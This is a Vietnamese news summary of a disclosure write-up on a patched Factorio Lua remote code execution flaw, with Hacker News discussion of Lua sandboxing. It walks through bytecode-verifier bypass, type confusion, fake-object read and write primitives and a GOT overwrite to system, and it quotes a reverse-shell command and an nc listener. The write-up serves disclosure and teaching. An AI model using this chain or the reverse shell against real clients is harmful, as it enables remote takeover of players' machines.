2 điểm bởi GN⁺ 2024-06-30 | 1 bình luận | Chia sẻ qua WhatsApp
  • Lỗ hổng trong triển khai Lua của Factorio cho phép máy chủ độc hại thực thi mã tùy ý trên client đang kết nối, phạm vi ảnh hưởng là các phiên bản trước 1.1.101 đã được vá
  • Do multiplayer vận hành theo cơ chế deterministic lockstep, trong đó cùng một mã Lua được thực thi, kẻ tấn công có thể dùng bản đồ tùy chỉnh độc hại để kích hoạt lỗ hổng qua đường mạng
  • Trọng tâm của vấn đề nằm ở việc load/loadstring của mô-đun base cho phép thực thi bytecode, cùng lỗi Off-By-One và thiếu kiểm tra kiểu trong bộ xác minh riêng của Factorio
  • Exploit rò rỉ địa chỉ bằng nhầm lẫn kiểu FORLOOP, rồi thao túng chỉ số upvalue để gây nhầm lẫn giữa LClosureTString, từ đó dựng đối tượng giả và các primitive đọc/ghi tùy ý
  • RCE trên Linux thay địa chỉ ldexp trong GOT bằng system và lạm dụng lời gọi math.ldexp; do khác biệt về offset cấu trúc của Factorio và định dạng %a, cần hiệu chỉnh riêng

Phạm vi lỗ hổng và đường lộ Lua

  • Lỗ hổng trong triển khai Lua của Factorio cho phép máy chủ độc hại thực thi mã tùy ý trên client, và ảnh hưởng đến các phiên bản Factorio trước 1.1.101
  • Lua được dùng trong Factorio để triển khai logic game, mod và bản đồ tùy chỉnh
    • Mod có thể được lấy từ trong game hoặc từ Factorio Mods
    • Cộng đồng modding có hàng nghìn mod, một số có hơn 500.000 lượt tải
  • Thoạt nhìn đây có vẻ là một kiểu tấn công cục bộ, đòi hỏi phải trực tiếp cài mod độc hại, nhưng do cơ chế đồng bộ multiplayer, trình thông dịch Lua bị lộ ra đường mạng
  • Multiplayer của Factorio dùng deterministic lockstep
    • Chỉ input của người dùng được gửi qua mạng, không phải bản thân trạng thái game
    • Game của tất cả người chơi phải mô phỏng từng tick giống hệt nhau
    • Nếu một người chơi thực thi mã Lua, các người chơi còn lại cũng phải thực thi cùng mã đó để đồng bộ
  • Có thể tóm tắt hai đường để kẻ tấn công cho chạy mã Lua
    • Khi có quyền, chạy mã Lua trên server bằng lệnh /c
    • Tạo bản đồ tùy chỉnh chứa mã Lua để client thực thi khi kết nối tới server
  • Nếu đưa một server độc hại lên server browser, có thể tạo luồng trong đó nạn nhân tải bản đồ xuống và thực thi mã Lua

Luồng tấn công tổng thể

  • Cuộc tấn công bắt đầu bằng việc server Factorio cung cấp bản đồ độc hại
    • Exploit được nhúng vào mã Lua kịch bản của bản đồ
    • Khi client kết nối tới server, nó tải bản đồ và thực thi mã Lua liên quan
  • Sau đó, điểm yếu trong triển khai Lua được dùng để dựng đối tượng giả (fake object)
    • Đối tượng giả cho phép rò rỉ bộ nhớ và làm hỏng bộ nhớ
    • Kết quả là có thể tạo nhiều primitive dẫn tới thực thi mã
  • Trong ngôn ngữ động, đối tượng giả là phương tiện cốt lõi giúp kẻ tấn công giành quyền kiểm soát mạnh
    • Chuỗi có thể được dùng để rò rỉ dữ liệu tùy ý
    • Mảng hoặc bảng có thể được dùng để ghi bộ nhớ tùy ý
    • Nếu có đường gọi hàm native, nó có thể dẫn tới kiểm soát luồng thực thi

Thực thi bytecode Lua và vấn đề của bộ xác minh

  • Các mô-đun Lua đi kèm Factorio bị giới hạn
    • debug: truy cập chức năng debug
    • math: giao diện toán học C chuẩn
    • bit32: phép toán bit
    • string: thao tác chuỗi
    • table: thao tác bảng
    • base: các hàm lõi Lua như print
  • Những mô-đun rõ ràng nguy hiểm như os.execute đã bị loại bỏ, nhưng loadloadstring của mô-đun base cho phép thực thi bytecode, nên bề mặt tấn công lớn
  • Lua trước hết biên dịch mã nguồn thành bytecode Lua, rồi chạy trong trình thông dịch
    • Bytecode không phải mã máy CPU, mà là biểu diễn chỉ trình thông dịch Lua mới chạy được
    • Nếu có thể chèn bytecode trực tiếp, có thể thực thi bytecode sai mà trình biên dịch bình thường sẽ không tạo ra
  • Các nhà phát triển Lua biết rủi ro của việc thực thi bytecode tùy ý và đã tạo bộ xác minh, nhưng đã gỡ bỏ trong Lua 5.2
    • Trên mailing list của Lua có ghi nhận rằng bộ xác minh cũ liên tục bị bypass, và các ứng dụng chạy mã Lua tùy ý tốt hơn hết không nên nhận precompiled script
  • Có vẻ nhà phát triển Factorio đã triển khai bộ xác minh bytecode riêng trên Lua 5.2.1
    • Logic bảo vệ tập trung chặn các tham số OOB rõ ràng như nhảy ra ngoài mã hoặc chỉ số vượt ngoài mảng hằng
    • Do ý nghĩa của một số opcode, tồn tại vấn đề Off-By-One; khi xử lý offset nhảy như JMP 0, có thể nhảy ra ngoài khối mã
    • Vì vùng hằng có thể được cấp phát sau code chunk, kẻ tấn công có thể lưu bytecode trong phần hằng và bypass kiểm tra bằng cú nhảy off-by-one để thực thi

Rò rỉ địa chỉ: nhầm lẫn kiểu FORLOOP

  • Đối tượng nội bộ của Lua được biểu diễn bằng TValue
    • TValue gồm Value, vùng giá trị, và tt_, biểu thị kiểu
    • Value là vùng 8 byte, được diễn giải như double hoặc con trỏ tùy kiểu
  • Tất cả số trong Lua 5.2 được biểu diễn bằng double
    • Số có thể được lưu inline trong union Value mà không đi qua con trỏ
    • Nếu khiến con trỏ chuỗi được diễn giải như số, các bit con trỏ có thể bị lộ dưới dạng giá trị double
  • Trong Lua thông thường, print(function) có thể in địa chỉ, nhưng trong Factorio tính năng này đã bị loại bỏ, và địa chỉ chuỗi cũng không thể bị rò rỉ trực tiếp
  • Opcode vòng lặp FORLOOP thường phải đi sau FORPREP
    • FORPREP kiểm tra giá trị bắt đầu, giới hạn và step có phải là số hay không
    • Bên trong FORLOOP, kiểu của tham số step không được kiểm tra; kiểm tra dựa trên lua_assert không bị cưỡng chế trong bản build mặc định
  • Kẻ tấn công có thể sửa bytecode để bỏ FORPREP và chỉ chạy FORLOOP
    • Tạo bằng bytecode một tình huống mà trình biên dịch từ nguồn Lua bình thường sẽ không tạo ra
    • Nếu đặt đối tượng như chuỗi vào vị trí step, con trỏ của TValue đó sẽ được diễn giải như double và bị rò rỉ
  • Giá trị rò rỉ không phải double hợp lệ, mà là giá trị sinh ra khi diễn giải bit con trỏ như double, nên trông như một số nhỏ kiểu 2.1944577826691e-317
    • IEEE 754 binary64 gồm 1 bit dấu, 11 bit mũ và 52 bit mantissa
    • Nếu giá trị con trỏ trông như denormalized double, có thể khôi phục giá trị gốc từ mantissa
  • Lua 5.2 không có pack/unpack và kiểu số nguyên, nên việc chuyển đổi khá phức tạp
    • Ban đầu dùng string.format("%.13a", double) để đọc mantissa và exponent rồi khôi phục con trỏ
    • Giá trị rò rỉ ví dụ được khôi phục thành con trỏ 0x43d6c0, còn dữ liệu chuỗi thật nằm sau header TString 24 byte

Thao túng upvalue và nhầm lẫn kiểu LClosure

  • Upvalue là cơ chế của Lua để truy cập biến ở scope bên ngoài hàm hiện tại
    • Thông tin upvalue trong bytecode gồm chỉ số, tên, liệu có nằm trên stack hay không, và chỉ số stack
    • Kẻ tấn công có thể sửa chỉ số upvalue có trong bytecode
  • Khi đổi chỉ số upvalue, có thể tham chiếu tới một TValue khác trên stack thay vì biến cục bộ ban đầu
    • Trong ví dụ, chỉ số upvalue target được tăng thêm một để trỏ tới LClosure của hàm hiện tại
    • Bytecode bị sửa sẽ in LClosure: 0x... thay vì nil
  • Trong Lua, đơn vị thực thi thật sự của một hàm được chia thành PrototypeClosure
    • Proto đóng vai trò mẫu hàm, chứa bytecode, hằng, dòng nguồn, thông tin upvalue, v.v.
    • LClosure được tạo trong lúc chạy, liên kết Proto với danh sách upvalue
  • Opcode CLOSURE tạo một Lua closure mới, đặt lên stack rồi khởi tạo upvalue
    • Nếu có 3 biến cục bộ, LClosure mới có thể được đặt tại base + 3
    • Nếu đổi chỉ số upvalue thành 3, có thể bắt TValue LClosure ở vị trí đó
  • Nếu hàm bên trong ghi đè LClosure của hàm bên ngoài bằng chuỗi, sau khi trả về, Lua sẽ cố dùng chuỗi như LClosure và gây crash
    • Kiểm tra kiểu trong đường OP_RETURN phụ thuộc vào lua_assert và không bị cưỡng chế trong cấu hình mặc định
    • Kết quả là cl của frame thực thi hiện tại có thể không trỏ tới LClosure thật, mà tới TString do kẻ tấn công kiểm soát
  • Lợi dụng khác biệt layout giữa TStringLClosure, vùng dữ liệu người dùng của chuỗi chồng lên vị trí Proto *pUpval **upval
    • Nhầm lẫn kiểu này cho phép kiểm soát con trỏ prototype của hàm và con trỏ mảng upvalue
    • Nếu trỏ chúng tới vùng nhớ có thể kiểm soát, có thể tạo đối tượng giả

Đối tượng giả và primitive đọc/ghi

  • Có hai đường chính để tạo đối tượng giả
    • Đường để Proto giả trỏ tới mảng TValue giả
    • Đường để mảng UpVal giả trỏ tới TValue giả
  • Đường hằng được chọn vì có ít padding và có thể tái sử dụng hằng trong hàm
    • TString giả
    • Mảng TValue trỏ tới TString giả
    • Proto trỏ tới mảng TValue giả
    • LClosure trỏ tới Proto giả
  • TString giả có thể được dùng làm primitive đọc bằng cách đặt độ dài tùy ý lớn
    • Dữ liệu chuỗi Lua được giả định nằm sau header TString
    • Có thể dùng str:sub() để đọc bộ nhớ trong phạm vi mà chuỗi giả chạm tới
    • Chỉ số chuỗi Lua bắt đầu từ 1, nên cần hiệu chỉnh 1 byte khi tính header
  • Primitive ghi được tạo bằng cách khiến UpVal giả trỏ tới TValue tại địa chỉ cần ghi
    • Khi gán số vào biến Lua, một TValue số sẽ được ghi vào vị trí đó
    • Vì số được lưu inline trong 8 byte đầu của TValue, có thể kiểm soát vùng giá trị
    • Đồng thời, thông tin kiểu được ghi vào 8 byte tiếp theo, nên bộ nhớ lân cận cũng có thể bị hỏng
  • Do số Lua là double, cần chuyển đổi để ghi mẫu bit số nguyên mong muốn
    • Dùng đơn vị nhỏ nhất của denormalized double là 2^-1074
    • Mã hóa số nguyên thành biểu diễn double theo dạng integer_to_double(integer) = integer * 2^-1074

Kiểm soát con trỏ lệnh và bypass ASLR

  • Light C Function của Lua lưu inline con trỏ hàm bên trong TValue
    • Kiểu hàm là LUA_TFUNCTION, và Light C Function được biểu diễn bằng giá trị LUA_TLCF22
    • Nếu đặt 0xdeadbeef vào vùng giá trị của TValue22 vào vùng kiểu, có thể gọi nó như một hàm tại địa chỉ đó
  • Gọi Light C Function giả cho phép kiểm soát instruction pointer
    • Trong ví dụ, RIP trở thành 0xdeadbeef và crash
    • Sau đó có thể dẫn tới các kỹ thuật thay đổi luồng thực thi như ROP chain
  • Việc con trỏ Light C Function được lưu inline cũng hữu ích cho rò rỉ địa chỉ
    • Nếu các hàm Lua được triển khai dưới dạng light C function, có thể đọc địa chỉ của các hàm như print bằng primitive rò rỉ địa chỉ
    • Từ đó có thể tính địa chỉ cơ sở cần thiết để bypass ASLR
  • Nếu hàm bị sandbox vẫn còn trong binary, cũng có thể bypass bằng cách trỏ fake function tới địa chỉ đó rồi gọi

Hiệu chỉnh cho Factorio

  • Các thử nghiệm ban đầu được thực hiện trên trình thông dịch Lua chính thức, nhưng triển khai Lua của Factorio có layout cấu trúc khác
  • Đối tượng GC CommonHeader của Factorio có thêm con trỏ previous
    • Lua chính thức có cấu trúc next, tt, marked
    • Factorio dường như dùng cấu trúc previous, next, tt, marked
  • Khác biệt này làm một số offset lệch thêm 8 byte
    • Header TString không phải 24 byte mà là 32 byte
    • Cần sửa cách tính địa chỉ nội dung chuỗi và địa chỉ tương đối của primitive đọc
    • Trong tính toán UpVal giả và fake closure cũng phải tính thêm con trỏ bổ sung
  • Trong Factorio, hành vi của định dạng %a cũng khác với thử nghiệm trên Lua chính thức
    • string.format("%.13a", 2.1038461432219e-316) không cho ra 0x0.000000289c130p-1022 như kỳ vọng, mà cho dạng 0xa.2704c00000000p-1052
    • Vì vậy, khôi phục double dựa trên định dạng chuỗi bị hỏng
  • Chuyển đổi cuối cùng được đổi sang cách thuần số học
    • Có thể xem các giá trị denormalized là mọi số nguyên bắt đầu từ bit thấp nhất bên phải
    • Khôi phục giá trị rò rỉ bằng double_to_number(double) = double * 2^52 * 2^1022
    • 2^1074 không thể biểu diễn bằng double, phép nhân được chia thành hai bước

RCE trên Linux: thay GOT và math.ldexp

  • Đường RCE được chọn trên Linux dùng thay GOT thay vì ROP chain
    • Tìm một imported function có thể gọi từ Lua và kiểm soát được đối số đầu tiên
    • Ghi đè GOT entry của hàm đó bằng địa chỉ system
    • Gọi hàm đó từ Lua để nó hoạt động như system(command)
  • Trong bộ thư viện Lua bị giới hạn của Factorio, math.ldexp được dùng làm hàm phù hợp
    • Bên trong nó gọi ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))
    • Kiểm tra bằng GDB xác nhận tình huống đối số Lua thứ hai được truyền vào đối số thanh ghi đầu tiên RDI của lời gọi libc
  • GOT nằm trước heap nên khó đọc trực tiếp chỉ bằng primitive đọc chuỗi giả hiện có
    • Primitive đọc chỉ có thể đọc các địa chỉ sau header chuỗi giả
    • Dùng writable segment nằm trước GOT để dựng một TString giả ở vị trí trước GOT
  • Khi tạo TString giả trước GOT, có thể đọc địa chỉ hàm libc để bypass ASLR
    • Trong ví dụ, địa chỉ memcpy được đọc từ GOT
    • Với offset của libc 2.38 trên Fedora 39, tính libc_base = memcpy - 0x138b80, system = libc_base + 0x2a3b0
  • Sau đó ghi đè GOT entry của ldexp bằng địa chỉ system
    • Trong địa chỉ ví dụ, vị trí 0x289ef00 được dùng làm GOT entry của ldexp
    • Ghi đè theo dạng write(0x289ef00, system)

Thực thi lệnh và shell từ xa cuối cùng

  • Ban đầu định lưu lệnh trong chuỗi Lua và gọi bằng math.ldexp(0, addr_of(cmd) + 32)
    • Lệnh có dạng sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"
    • Nhưng Lua gọi ldexp với tham số 32-bit, khiến các bit cao của địa chỉ chuỗi bị cắt và thất bại
  • Cách bypass là ghi trực tiếp chuỗi lệnh vào writable segment của binary đã dùng khi tạo chuỗi giả trước đó
    • Do PIE không bật, địa chỉ main binary đủ nhỏ
    • Chuỗi lệnh được ghi vào quanh địa chỉ 0x289c150 bằng nhiều lần write()
  • Lời gọi math.ldexp(0, 0x289c150) sau khi thay GOT hoạt động như lời gọi system(0x289c150)
  • Kết quả thực thi cuối cùng được xác nhận bằng shell kết nối tới listener nc -lvp 9001 cục bộ
    • Prompt shell là sh-5.2$
    • Kết quả whoamivictim

Challenge luyện tập và tài liệu tham khảo

1 bình luận

 
GN⁺ 2024-06-30
Các ý kiến trên Hacker News
  • Khá bất ngờ
    Lua diễn giải bytecode, nên tôi cứ nghĩ nó có thể kiểm tra xem các đối số của lệnh có hợp lệ hay không. Ví dụ như chúng có trỏ tới vùng nhớ do Lua cấp phát hay không
    Nhưng thực tế lại không phải vậy; nếu đưa vào bytecode với đối số sai, nó vẫn cứ chạy nguyên như thế. Quá trình xâm nhập sau đó tiếp diễn từ đó
    Hơn nữa, thay vì sửa trình thông dịch, kế hoạch lại là phân tích bytecode tĩnh; cách này có vẻ chỉ hiệu quả trong các trường hợp đơn giản
    Với một ngôn ngữ thông dịch được cho là thân thiện với sandbox thì điều này khá đáng thất vọng, và tôi tò mò liệu họ có chấp nhận bản vá sửa trình thông dịch để nó không tin tưởng đầu vào hay không. Có vẻ họ lo ngại suy giảm hiệu năng, nhưng trong bối cảnh lựa chọn nhanh là LuaJIT thì điều đó đáng nghi ngờ

    • Về “bản vá để trình thông dịch không tin tưởng đầu vào”, tôi hiểu lập trường của các nhà phát triển Lua là các tiến trình chạy mã Lua tùy ý chỉ nên nhận mã nguồn và nên tắt việc nạp trực tiếp bytecode
      Cách này có vẻ hợp lý vì vẫn để lại lựa chọn nạp trực tiếp bytecode đáng tin cậy, đồng thời không cần đưa các kiểm tra động ảnh hưởng tới mọi người dùng vào trình thông dịch
    • Trái với hiểu lầm phổ biến, Lua thực ra không thân thiện với sandbox
      Theo thiết kế, Lua không cung cấp bảo đảm về việc kết thúc, và cũng không có cách tốt để cưỡng bức chấm dứt một chương trình không đáng tin cậy. Nếu nhận đầu vào Lua không đáng tin cậy, nên xem như chương trình có thể bị treo vô thời hạn
      Lua rất tốt cho đầu vào bán tin cậy đã qua thẩm định tối thiểu, chẳng hạn mã tải xuống từ Internet. Ngay cả khi mã đó thực sự độc hại, nó có thể hạn chế đáng kể thiệt hại, nhưng không thể loại bỏ hoàn toàn
      Nếu cần đầu vào hoàn toàn không đáng tin cậy kiểu JavaScript, thì Luau, bản fork của Roblox, mới là lựa chọn phù hợp: https://luau-lang.org/sandbox
    • Chẳng phải khó mà xem nó là thân thiện với sandbox sao
      Như các ngôn ngữ khác đã cho thấy, việc tạo ra một trình thông dịch an toàn cho bytecode không phải chuyện đơn giản. Đó cũng là một đánh đổi để giữ cho triển khai tham chiếu đơn giản
      Về việc chạy mã của bên thứ ba, tôi không tin tưởng hầu hết các trình thông dịch kiểu này. Dù xét tới lượng chi phí R&D và sự chú ý mà trình duyệt web nhận được, tôi thậm chí cũng chỉ vừa đủ tin trình duyệt mà thôi
    • Đây là chuyện có thể dự đoán được. Chỉ nên chạy bytecode thực sự do một trình biên dịch đúng tạo ra. Nếu không, sẽ xuất hiện vi phạm an toàn bộ nhớ hoặc thoát sandbox, và cũng có thể thoát sandbox thông qua vi phạm an toàn bộ nhớ
      Cũng giống như việc không chạy mã máy tùy ý vậy
      Luau cũng có cùng tính chất này, nhưng chẳng phải Roblox đâu có lúc nào cũng khốn đốn vì thoát sandbox sao
    • Java, Wasm, BPF cho thấy bytecode có thể xác minh tĩnh là khả thi ngay cả trong các ngôn ngữ biên dịch JIT. Vấn đề của Lua là bytecode không cung cấp thông tin cần thiết để xác minh đầy đủ tính an toàn
  • Mong những phần như thế này được định nghĩa hoặc ghi tài liệu rõ ràng hơn. Hiện tại ta phải tự tìm hiểu xem ngôn ngữ nào được bảo đảm là an toàn ở mức hợp lý
    Ví dụ, có trường hợp cơ bản là mã tĩnh do chính người dùng chạy, đây là trường hợp các ngôn ngữ thông thường, bao gồm Lua, quan tâm
    Cũng có trường hợp nhận và chạy mã động trong quá trình cập nhật, nhưng chỉ qua kênh chính thức. Khi đó có thể xử lý bằng cách làm cho tiến trình an toàn, nhưng không chắc chắn
    Cũng có trường hợp người dùng có thể thêm mã dưới dạng plugin và dễ dàng cài đặt chỉ bằng một nút bấm trong cửa hàng. Có thể duyệt xét plugin, nhưng thường gần như không được làm đúng mức, nên cần cân nhắc liệu có cần sandbox hay người dùng phải cẩn trọng
    Cũng có trường hợp trong game nhiều người chơi, chỉ máy chủ được mở rộng bằng plugin còn client thì không. Cần tính tới việc các game thủ mở server sẽ tích cực thử nhiều plugin, và cộng đồng plugin cũng có thể nguy hiểm hơn nhiều
    Cuối cùng là game nhiều người chơi nơi server có thể chạy mã tùy ý trên client, giống trình duyệt. Trong trường hợp này phải đặc biệt cẩn trọng với sandbox phía client. Vì game thủ thường vào các server tùy ý mà không nghĩ tới tác động bảo mật
    Factorio chính là trường hợp cuối cùng này. Tôi không hẳn phản đối việc nhà phát triển phải tự đánh giá điều đó, nhưng chẳng hạn việc hàm load của Lua có thể chạy bytecode tùy ý không an toàn không phải lúc nào cũng hiển nhiên
    Thành thật mà nói, tôi không biết bytecode Lua là không an toàn, còn bytecode LuaJIT thì tôi biết là không an toàn. Nhưng có vẻ sự thật này chỉ được ghi rải rác trên mailing list hoặc issue GitHub như một điều hiển nhiên
    Còn có vấn đề server có thể làm client bị treo. Chỉ cần chạy vòng lặp vô hạn là được. Tuy nhiên việc này khó tránh hơn nhiều, và có lẽ cố tránh cũng vô nghĩa

    • Không nên giả định bất kỳ cách nào chạy mã do kẻ tấn công kiểm soát là an toàn. Đặc biệt nếu nó không tuyên bố rõ ràng là an toàn và không bỏ ra nỗ lực ở tầm Google để hỗ trợ điều đó
    • Mordhau, một game dựa trên Unreal Engine, từng có tính năng thông điệp trong ngày: quản trị viên server nhập URL, và khi người chơi kết nối thì trình duyệt trong game sẽ mở ra
      Không có tùy chọn tắt trình duyệt ở phía client, và theo tôi biết thì cuối cùng các nhà phát triển đã vô hiệu hóa hoàn toàn tính năng này, nhưng tôi không chắc tình trạng hiện tại
      Điều đó cho thấy game và engine game đã trở nên phức tạp đến mức nào. Một trình duyệt web nhúng xuất hiện ở những chỗ dường như chẳng có lý do đặc biệt
    • Điều đầu tiên cần xem là giải pháp đó có nêu rõ mình là sandbox an toàn trước thực thi suy đoán hay không. Chắc không nhiều nơi làm vậy, nhưng có một số, và có thể bắt đầu đánh giá từ đó
  • Đằng sau Factorio có một đội ngũ phát triển thật sự giỏi, nên tôi tin họ đang làm hết sức để sửa những vấn đề kiểu này. Chỉ là nhìn chung việc phát triển game mang tính sáng tạo rất cao, nên những thứ như thực hành viết mã hay bảo mật có vẻ bị đẩy xuống sau
    Không biết có bao nhiêu lỗ hổng zero-day đang ẩn trong client và server game

    • Với các game có tương tác từ xa, về cơ bản tôi thường xem là không hoàn toàn an toàn. Tốt nhất là chạy Steam và mọi game trong một dạng sandbox nào đó
      Flatpak có thể là một điểm khởi đầu hữu ích. Container không phải là ranh giới bảo mật mạnh, nhưng có thể chặn được các exploit đơn giản
    • Có lẽ tình hình không tốt lắm. Cứ nghĩ xem vì sao các nhà sản xuất console như Xbox, Sony, Nintendo không cho phép kết nối tới IP server tùy ý hay hỗ trợ mod
      Đó không chỉ là quyết định kinh doanh đơn giản để buộc người dùng dùng dịch vụ online chính thức. Nếu chặn kết nối tới IP server bên thứ ba, thì dù có lỗi nghiêm trọng trong mã mạng hay phần còn lại của game, chúng cũng sẽ không bao giờ bị khai thác. Hạn chế mod, kể cả những mod “an toàn” như Lua, còn có thể ngăn thêm exploit
      Trong lịch sử, mã mạng nhiều lỗi đã từng làm sụp đổ DRM của nhiều console
      Không chỉ exploit, các console còn tự hào rằng mã phải được xét duyệt trước khi phân phối. Cho phép chạy Lua từ một hệ thống từ xa nghĩa là ngay cả sau khi được phê duyệt, game vẫn có thể bị chính nhà phát triển tái cấu hình từ xa, và các nhà sản xuất console sẽ không muốn cho phép điều đó nếu không xem xét cực kỳ kỹ lưỡng
    • Vì vậy tốt nhất nên có một máy tính riêng để chơi game. Tốt hơn là tuyệt đối không đặt tài liệu quan trọng hay dữ liệu công việc trên đó
      Lý tưởng là cô lập trong máy ảo, nhưng việc thiết lập máy ảo chơi game cực kỳ phiền phức, và có thể bị loại trừ với một số game dùng anti-cheat
    • Thực hành viết mã ư? Factorio thuộc nhóm phần mềm được lập trình tốt nhất, ổn định nhất và nhất quán nhất mà tôi từng thấy
      Nghĩ đến việc các lĩnh vực khác đang rất cần người giỏi lập trình, gần như thấy tiếc khi những người lành nghề lại làm trong mảng game
  • Nhìn chung, việc kiểm chứng chương trình cực kỳ khó, không chỉ vì định lý Rice. Đặc biệt với một ngôn ngữ bytecode không tầm thường như Lua, rất dễ bỏ sót điểm nào đó. Chẳng hạn Wasm không có khái niệm vòng lặp for
    Thật lạ là sau khi dự án thượng nguồn từ bỏ vấn đề này vì quá khó, các nhà phát triển Factorio lại cố sửa hoặc tự viết bộ kiểm chứng
    Hàm loadstring của Minetest cấm hoàn toàn bytecode: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...
    Tôi thắc mắc vì sao mod Factorio lại cần khả năng chạy bytecode Lua thô. Nếu không cần, thì cũng không cần bộ kiểm chứng
    Ngay từ đầu, chạy mã Lua tải về qua mạng đã khá nguy hiểm. Môi trường thực thi JavaScript đã trải qua hàng chục năm lặp đi lặp lại việc tìm và sửa exploit. Lua cũng có chuyện đó, nhưng quy mô nhỏ hơn và cũng ít nhân lực để cải thiện bảo mật hơn
    Biện pháp bảo vệ chính có lẽ là số người chạy server game độc hại ít hơn

    • Để ứng phó vấn đề này, Factorio đã vô hiệu hóa việc tải bytecode. Bytecode từng cho phép làm những thứ thú vị, như viết mod bằng ngôn ngữ tiền xử lý xuất ra bytecode Lua, nhưng rốt cuộc vấn đề bảo mật quan trọng hơn
      Vì lý do bảo mật tương tự, gần như toàn bộ thư viện debug cũng bị cấm dùng trong mod
    • Cuối cùng thì mọi nhà phát triển game đều phải học theo cách khó khăn rằng cần loại bỏ tính năng bytecode khỏi hàm loadstring() của Lua
      Ví dụ có bài viết của các nhà phát triển ROBLOX từ 12 năm trước: https://archive.is/oXPyM
      Thành thật mà nói, vô hiệu hóa mặc định sẽ tốt hơn. Các trường hợp sử dụng chính đáng khá là ngách
    • Factorio còn có thứ như thế này: https://mods.factorio.com/mod/Moon_Logic
      Hơn nữa, tạo ra phần mềm đơn giản là không thể chạy trong một môi trường Turing-complete thì khá hạn chế
      Dù sao thì thật sự cần một trình thông dịch có hệ thống quyền hạn mạnh
    • Có vẻ định lý Rice không phải trọng tâm ở đây. Nó có thể hữu ích như bộ lọc đầu tiên. Nếu bạn tin rằng có thể “chỉ cần” phán định chính xác chuyện này, thì nên dừng lại, vì Henry Rice đã chứng minh điều đó là bất khả thi nửa thế kỷ trước và nhận bằng tiến sĩ nhờ việc đó
      Nhưng nếu bạn thỏa hiệp rằng chỉ chấp nhận một phần các đầu vào đáp ứng yêu cầu thực tế, thì định lý Rice kết thúc ở đó. Giờ chỉ còn một việc cực kỳ khó, thay vì một việc bất khả thi
      Dù thất bại, ít nhất có thể được an ủi rằng sẽ không bị nói là đã làm một việc bất khả thi
      Factorio lẽ ra không nên đi theo con đường này
    • Định lý Rice không áp dụng ở đây. Theo định nghĩa rộng về “cú pháp” mà định lý Rice dùng, những thứ cần kiểm chứng trong bytecode thuộc về cú pháp
  • Câu hỏi rất nhập môn, nhưng tôi thắc mắc vì sao các game dùng Lua, thay vì chẳng hạn dùng JavaScript nhúng với một giao diện đã định nghĩa như API để điều chỉnh trạng thái game
    Có vẻ sẽ hưởng lợi từ các lớp gia cố mạnh hơn nhiều đã được đưa vào việc cô lập môi trường trình duyệt. Trình duyệt là mục tiêu khó, được kiểm thử rất kỹ và được đầu tư rất nhiều tiền
    Cũng đã có khối lượng công việc khổng lồ dành cho tối ưu hóa hiệu năng kiểu động
    Hơn nữa, nếu mod cần UI thì đã có canvas, và nếu cung cấp một mô hình giống DOM thì những thứ như React cũng có thể khả thi

    • Theo trải nghiệm của tôi vài năm trước, phần lớn engine JavaScript đã cũ và hầu như không được bảo trì, còn các engine dùng trong trình duyệt được làm theo hướng ưu tiên trình duyệt, nên không được thiết kế để dễ tích hợp
      Lua được tạo ra chuyên cho việc tích hợp, nên có nhiều tài liệu và được một cộng đồng lớn hỗ trợ
    • Phần lớn engine JavaScript phức tạp hơn Lua rất nhiều khi nhúng. Lua thuộc nhóm phần mềm dễ biên dịch nhất mà tôi có thể nghĩ tới
      Ngoài ra bạn đang nhầm lẫn giữa các API trình duyệt phổ biến và JavaScript. Engine JavaScript không cung cấp canvas hay DOM. Ví dụ V8 cũng không cung cấp; những thứ đó phải tự thêm vào
  • Tôi không phải nhà phát triển bảo mật, nhưng theo phép lịch sự vẫn muốn nói: “Chà, cái này thật sự ấn tượng!” Thật khó tin phải suy nghĩ rõ ràng và logic đến mức nào mới truy vết được một ca thất bại phức tạp như vậy. Chắc chắn đó không phải điểm mạnh của tôi; tôi giống kiểu “người phụ trách ý tưởng” hơn nhiều
    Về mặt nội dung, nếu xuất hiện một tập thể kỹ sư phần mềm AI được trang bị 10.000 bài blog chuyên tìm các kiểu khai thác bộ nhớ kỳ quặc như thế này, có lẽ chúng ta tiêu thật
    Rốt cuộc tôi nghĩ cần một mô hình hoàn toàn mới cho bảo mật, hoặc ít nhất là một thành phần mới trong stack. Những thứ như client “được tin cậy” hiện đại hay vai trò DB nghe cứ như đang vá các lỗ trên miếng phô mai Thụy Sĩ
    Hy vọng là ta có thể phủ thêm một lớp phô mai Thụy Sĩ mới do LLM quản lý

    • Đã có người làm rồi. Kết quả hiện chưa hứa hẹn
  • Vậy tức là, đây chẳng phải đang cho thấy một exploit dựa vào nạp bytecode, một tính năng vốn được quảng bá là có thể bị lạm dụng sao? Tôi đã bỏ sót gì à?

    • Điểm thú vị là các nhà phát triển Lua đã thất bại lớn đến mức nào ở bộ kiểm chứng bytecode. Không phải vấn đề phức tạp, mà là những thứ đơn giản như lỗi lệch một khi mô hình hóa các lệnh cơ bản như jmp, hay việc trình thông dịch Lua cố diễn giải mọi thứ nó vớ được thành lệnh
      Nó còn cố diễn giải cả phần dữ liệu mà bộ kiểm chứng không đụng tới
    • Dù là tính năng được quảng bá, nó vẫn có thể gây hại cho người dùng cuối không biết Lua hay bytecode là gì
    • Có bug trong trình thông dịch bytecode nên có thể cho phép thực thi bytecode tùy ý ngay cả trong môi trường đã vô hiệu hóa loadstring
  • Thật may là những người có năng lực như vậy đứng về phía tốt

    • Có vẻ điều đó cho thấy có rất nhiều người bẩm sinh là tốt, hoặc không gây hại. Tôi không biết từ tiếng Anh nào là đúng
      Truyền thông tin tức khiến ta tin điều ngược lại, và các bình luận trung bình dưới những tin đó cũng củng cố niềm tin ấy, nhưng nếu thật vậy thì làm sao những tiện nghi xa xỉ cùng các chương trình y tế và hỗ trợ xã hội mà chúng ta đang hưởng lại có thể tồn tại được
      Không có nghĩa là thế giới không có vấn đề, nhưng rõ ràng người xây dựng nhiều hơn người phá hoại rất nhiều
      Tôi vừa từ một thread HN liên quan đến Panama Papers sang nên ý nghĩ này càng hiện rõ. Ở đó không khí khá hoài nghi, kiểu mọi người giàu đều xấu xa và tất cả đều hoàn toàn thoát truy tố, nhưng thực ra có vài bình luận chỉ ra rất đúng rằng cả hai điều đó đều không phải sự thật. Chỉ là phải đọc xuống dưới thread một chút và đừng để bị cuốn theo sự hoài nghi
  • Tôi nghĩ bytecode Lua tuyệt đối không nên được dùng ngoài các hệ thống nhúng thiếu tài nguyên để chạy parser mã nguồn Lua
